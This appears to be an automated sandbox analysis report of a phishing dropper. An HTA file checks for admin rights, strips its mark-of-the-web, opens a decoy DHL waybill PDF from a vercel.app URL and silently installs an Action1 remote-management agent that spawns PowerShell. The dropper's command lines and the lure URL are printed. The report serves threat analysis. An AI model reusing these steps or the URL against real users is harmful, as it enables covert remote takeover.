Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe

Modifies registry class 29 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\AuthorizedLUAApp = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\PackageName = "action1.msi"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\ProductName = "Action1 Agent"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\DisplayName = "Chrome Sandbox"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-696679853-3915825385-3233721679-1000\{1EEDC38A-5CAC-4911-921C-CCD902616A42}	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\660B8D6E47E2F85419114258C7C126A7\A1_Agent	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Moniker = "cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\InstanceType = "0"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Clients = 3a0000000000	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\ProductIcon = "C:\\Windows\\Installer\\{E6D8B066-2E74-458F-9111-24857C1C627A}\\ProductIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\PackageCode = "919D3E7E9C8C211418ADC39A1BD1B1BF"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Children	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Version = "100663960"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe

Runs net.exe

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery

T1018

pid	Process
4736	PING.EXE
932	PING.EXE
4364	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4648	msiexec.exe
4648	msiexec.exe
4820	powershell.exe
4820	powershell.exe
4820	powershell.exe
3368	powershell.exe
3368	powershell.exe
3368	powershell.exe
4888	powershell.exe
4888	powershell.exe
4888	powershell.exe
4888	powershell.exe
4888	powershell.exe
4888	powershell.exe
696	powershell.exe
696	powershell.exe
696	powershell.exe
4716	powershell.exe
4716	powershell.exe
4716	powershell.exe
4716	powershell.exe
4716	powershell.exe
4716	powershell.exe
3416	powershell.exe
3416	powershell.exe
3416	powershell.exe
3768	powershell.exe
3768	powershell.exe
3768	powershell.exe
1444	powershell.exe
1444	powershell.exe
1444	powershell.exe
1444	powershell.exe
1444	powershell.exe
1444	powershell.exe
1900	powershell.exe
1900	powershell.exe
1900	powershell.exe
5524	powershell.exe
5524	powershell.exe
5524	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
4304	powershell.exe
4304	powershell.exe
4304	powershell.exe
4072	powershell.exe
4072	powershell.exe
4072	powershell.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe
4136	powershell.exe
4136	powershell.exe
4136	powershell.exe
3148	powershell.exe
3148	powershell.exe
3148	powershell.exe
4800	powershell.exe
4800	powershell.exe
4800	powershell.exe
4136	powershell.exe
4136	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
5620	msedge.exe
5620	msedge.exe
5620	msedge.exe
5620	msedge.exe
5620	msedge.exe
5620	msedge.exe
5620	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3624	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3624	msiexec.exe
Token: SeSecurityPrivilege	4648	msiexec.exe
Token: SeCreateTokenPrivilege	3624	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3624	msiexec.exe
Token: SeLockMemoryPrivilege	3624	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3624	msiexec.exe
Token: SeMachineAccountPrivilege	3624	msiexec.exe
Token: SeTcbPrivilege	3624	msiexec.exe
Token: SeSecurityPrivilege	3624	msiexec.exe
Token: SeTakeOwnershipPrivilege	3624	msiexec.exe
Token: SeLoadDriverPrivilege	3624	msiexec.exe
Token: SeSystemProfilePrivilege	3624	msiexec.exe
Token: SeSystemtimePrivilege	3624	msiexec.exe
Token: SeProfSingleProcessPrivilege	3624	msiexec.exe
Token: SeIncBasePriorityPrivilege	3624	msiexec.exe
Token: SeCreatePagefilePrivilege	3624	msiexec.exe
Token: SeCreatePermanentPrivilege	3624	msiexec.exe
Token: SeBackupPrivilege	3624	msiexec.exe
Token: SeRestorePrivilege	3624	msiexec.exe
Token: SeShutdownPrivilege	3624	msiexec.exe
Token: SeDebugPrivilege	3624	msiexec.exe
Token: SeAuditPrivilege	3624	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3624	msiexec.exe
Token: SeChangeNotifyPrivilege	3624	msiexec.exe
Token: SeRemoteShutdownPrivilege	3624	msiexec.exe
Token: SeUndockPrivilege	3624	msiexec.exe
Token: SeSyncAgentPrivilege	3624	msiexec.exe
Token: SeEnableDelegationPrivilege	3624	msiexec.exe
Token: SeManageVolumePrivilege	3624	msiexec.exe
Token: SeImpersonatePrivilege	3624	msiexec.exe
Token: SeCreateGlobalPrivilege	3624	msiexec.exe
Token: SeRestorePrivilege	4648	msiexec.exe
Token: SeTakeOwnershipPrivilege	4648	msiexec.exe
Token: SeRestorePrivilege	4648	msiexec.exe
Token: SeTakeOwnershipPrivilege	4648	msiexec.exe
Token: SeRestorePrivilege	4648	msiexec.exe
Token: SeTakeOwnershipPrivilege	4648	msiexec.exe
Token: SeRestorePrivilege	4648	msiexec.exe
Token: SeTakeOwnershipPrivilege	4648	msiexec.exe
Token: SeRestorePrivilege	4648	msiexec.exe
Token: SeTakeOwnershipPrivilege	4648	msiexec.exe
Token: SeRestorePrivilege	4648	msiexec.exe
Token: SeTakeOwnershipPrivilege	4648	msiexec.exe
Token: SeShutdownPrivilege	5328	MsiExec.exe
Token: SeRestorePrivilege	4648	msiexec.exe
Token: SeTakeOwnershipPrivilege	4648	msiexec.exe
Token: SeRestorePrivilege	4648	msiexec.exe
Token: SeTakeOwnershipPrivilege	4648	msiexec.exe
Token: SeDebugPrivilege	4820	powershell.exe
Token: SeBackupPrivilege	1068	action1_agent.exe
Token: SeBackupPrivilege	1068	action1_agent.exe
Token: SeRestorePrivilege	4648	msiexec.exe
Token: SeTakeOwnershipPrivilege	4648	msiexec.exe
Token: SeRestorePrivilege	4648	msiexec.exe
Token: SeTakeOwnershipPrivilege	4648	msiexec.exe
Token: SeRestorePrivilege	4648	msiexec.exe
Token: SeTakeOwnershipPrivilege	4648	msiexec.exe
Token: SeRestorePrivilege	4648	msiexec.exe
Token: SeTakeOwnershipPrivilege	4648	msiexec.exe
Token: SeRestorePrivilege	4648	msiexec.exe
Token: SeTakeOwnershipPrivilege	4648	msiexec.exe
Token: SeRestorePrivilege	4648	msiexec.exe
Token: SeTakeOwnershipPrivilege	4648	msiexec.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5620	msedge.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
3624	msiexec.exe
4648	msiexec.exe
3484	MsiExec.exe
5328	MsiExec.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2992 wrote to memory of 4148	2992	mshta.exe	89
PID 4148 wrote to memory of 4184	4148	cmd.exe	91
PID 4184 wrote to memory of 3272	4184	net.exe	92
PID 2992 wrote to memory of 3916	2992	mshta.exe	93
PID 2992 wrote to memory of 2792	2992	mshta.exe	95
PID 2792 wrote to memory of 4736	2792	cmd.exe	97
PID 2992 wrote to memory of 5620	2992	mshta.exe	98
PID 2992 wrote to memory of 2828	2992	mshta.exe	99
PID 5620 wrote to memory of 5868	5620	msedge.exe	101
PID 2828 wrote to memory of 932	2828	cmd.exe	102
PID 5620 wrote to memory of 2368	5620	msedge.exe	103
PID 5620 wrote to memory of 4276	5620	msedge.exe	104
PID 5620 wrote to memory of 2368	5620	msedge.exe	103
PID 5620 wrote to memory of 2368	5620	msedge.exe	103
PID 5620 wrote to memory of 3024	5620	msedge.exe	105
PID 5620 wrote to memory of 3024	5620	msedge.exe	105
PID 5620 wrote to memory of 5580	5620	msedge.exe	106
PID 5620 wrote to memory of 2328	5620	msedge.exe	107
PID 5620 wrote to memory of 5580	5620	msedge.exe	106
PID 5620 wrote to memory of 5580	5620	msedge.exe	106
PID 5620 wrote to memory of 2328	5620	msedge.exe	107
PID 5620 wrote to memory of 2328	5620	msedge.exe	107
PID 5620 wrote to memory of 3960	5620	msedge.exe	109
PID 5620 wrote to memory of 3960	5620	msedge.exe	109
PID 5620 wrote to memory of 3960	5620	msedge.exe	109
PID 5620 wrote to memory of 2040	5620	msedge.exe	110
PID 5620 wrote to memory of 2040	5620	msedge.exe	110
PID 5620 wrote to memory of 2040	5620	msedge.exe	110
PID 5620 wrote to memory of 1512	5620	msedge.exe	111
PID 5620 wrote to memory of 1512	5620	msedge.exe	111
PID 2992 wrote to memory of 2004	2992	mshta.exe	113
PID 5620 wrote to memory of 4552	5620	msedge.exe	115
PID 5620 wrote to memory of 4552	5620	msedge.exe	115
PID 5620 wrote to memory of 3000	5620	msedge.exe	116
PID 5620 wrote to memory of 3000	5620	msedge.exe	116
PID 5620 wrote to memory of 4452	5620	msedge.exe	118
PID 5620 wrote to memory of 4804	5620	msedge.exe	119
PID 5620 wrote to memory of 4804	5620	msedge.exe	119
PID 5620 wrote to memory of 1016	5620	msedge.exe	122
PID 5620 wrote to memory of 1016	5620	msedge.exe	122
PID 5620 wrote to memory of 2588	5620	msedge.exe	123
PID 5620 wrote to memory of 2588	5620	msedge.exe	123
PID 5620 wrote to memory of 2588	5620	msedge.exe	123
PID 5620 wrote to memory of 4508	5620	msedge.exe	124
PID 5620 wrote to memory of 4508	5620	msedge.exe	124
PID 5620 wrote to memory of 4508	5620	msedge.exe	124
PID 2992 wrote to memory of 4544	2992	mshta.exe	125
PID 2992 wrote to memory of 2340	2992	mshta.exe	127
PID 2340 wrote to memory of 4364	2340	cmd.exe	129
PID 2992 wrote to memory of 3624	2992	mshta.exe	130
PID 4648 wrote to memory of 3484	4648	msiexec.exe	132
PID 4648 wrote to memory of 5328	4648	msiexec.exe	133
PID 1068 wrote to memory of 4820	1068	action1_agent.exe	136
PID 1068 wrote to memory of 3368	1068	action1_agent.exe	138
PID 5620 wrote to memory of 704	5620	msedge.exe	144
PID 5620 wrote to memory of 5964	5620	msedge.exe	145
PID 5620 wrote to memory of 4120	5620	msedge.exe	146
PID 3368 wrote to memory of 4652	3368	powershell.exe	147
PID 1068 wrote to memory of 4888	1068	action1_agent.exe	148
PID 1068 wrote to memory of 696	1068	action1_agent.exe	151
PID 696 wrote to memory of 940	696	powershell.exe	153
PID 1068 wrote to memory of 4716	1068	action1_agent.exe	154
PID 1068 wrote to memory of 3416	1068	action1_agent.exe	236
PID 1068 wrote to memory of 3768	1068	action1_agent.exe	158

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	40	curl/8.8.0

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\dhI-awb6937974.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2992
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net session >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4148
- - C:\Windows\SysWOW64\net.exe
    net session
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4184
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      System Location Discovery: System Language Discovery
      PID:3272
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del /f /q "C:\Users\Admin\AppData\Local\Temp\dhI-awb6937974.hta:Zone.Identifier"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3916
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping -n 4 127.0.0.1 >nul
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2792
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 4 127.0.0.1
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4736
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://stub-mu.vercel.app/1784637783719-1zjtyv-dhl-waybill.pdf
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:5620
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x30c,0x7ffe6de6c188,0x7ffe6de6c194,0x7ffe6de6c1a0
    3⤵
    PID:5868
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1592,i,8566403461287747318,7622782841757088901,262144 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=2408 /prefetch:2
    3⤵
    PID:2368
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1896,i,12031944651639809922,7457721815204997045,524288 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=2440 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4276
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2224,i,10368898507036594883,4041976362809078947,524288 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=3232 /prefetch:13
    3⤵
    PID:3024
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3512,i,3524644421488821238,13493369426046545770,2097152 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=3608 /prefetch:1
    3⤵
    PID:5580
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3516,i,7101173553648458914,2223988092072763100,2097152 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=3664 /prefetch:1
    3⤵
    PID:2328
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4256,i,1703566630636000546,17382741283745180396,2097152 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=4844 /prefetch:1
    3⤵
    PID:3960
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4268,i,11882112660949194690,11856397178920540288,2097152 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=4848 /prefetch:9
    3⤵
    PID:2040
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5432,i,16155659437755683519,16547492234094165879,524288 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=5424 /prefetch:14
    3⤵
    PID:1512
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5584,i,14282015008294416698,13463816361647493220,524288 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=5488 /prefetch:14
    3⤵
    PID:4552
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5572,i,16573347128651904849,9874580133260810816,524288 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=5508 /prefetch:14
    3⤵
    PID:3000
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5908,i,18358502326629447635,1125486551533079523,524288 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=5916 /prefetch:14
    3⤵
    PID:4768
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5908,i,18358502326629447635,1125486551533079523,524288 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=5916 /prefetch:14
    3⤵
    PID:4452
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6332,i,14613318173900829092,6954472497869133191,524288 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=6136 /prefetch:14
    3⤵
    PID:4804
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6392,i,13009781479078162230,6121188125157414053,524288 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=6464 /prefetch:14
    3⤵
    PID:1016
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=6392,i,320418981624309252,13855745344206568340,2097152 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=6368 /prefetch:9
    3⤵
    PID:2588
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags="--ms-user-locale= --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=6764,i,11141483065988854024,12614471361730652498,2097152 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=6664 /prefetch:15
    3⤵
    PID:4508
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6756,i,9218418594606815943,12829994656340464637,524288 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=5912 /prefetch:14
    3⤵
    PID:704
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5996,i,9441078189997386769,7915468752863551737,524288 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=5348 /prefetch:14
    3⤵
    PID:5964
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6708,i,6689692632390028758,8281483286532314902,524288 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=5204 /prefetch:14
    3⤵
    PID:4120
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5488,i,12650605543396586224,7593447693789896858,524288 --field-trial-handle=2412,i,15459072629085173337,9513422817022298523,262144 --variations-seed-version --mojo-platform-channel-handle=2112 /prefetch:14
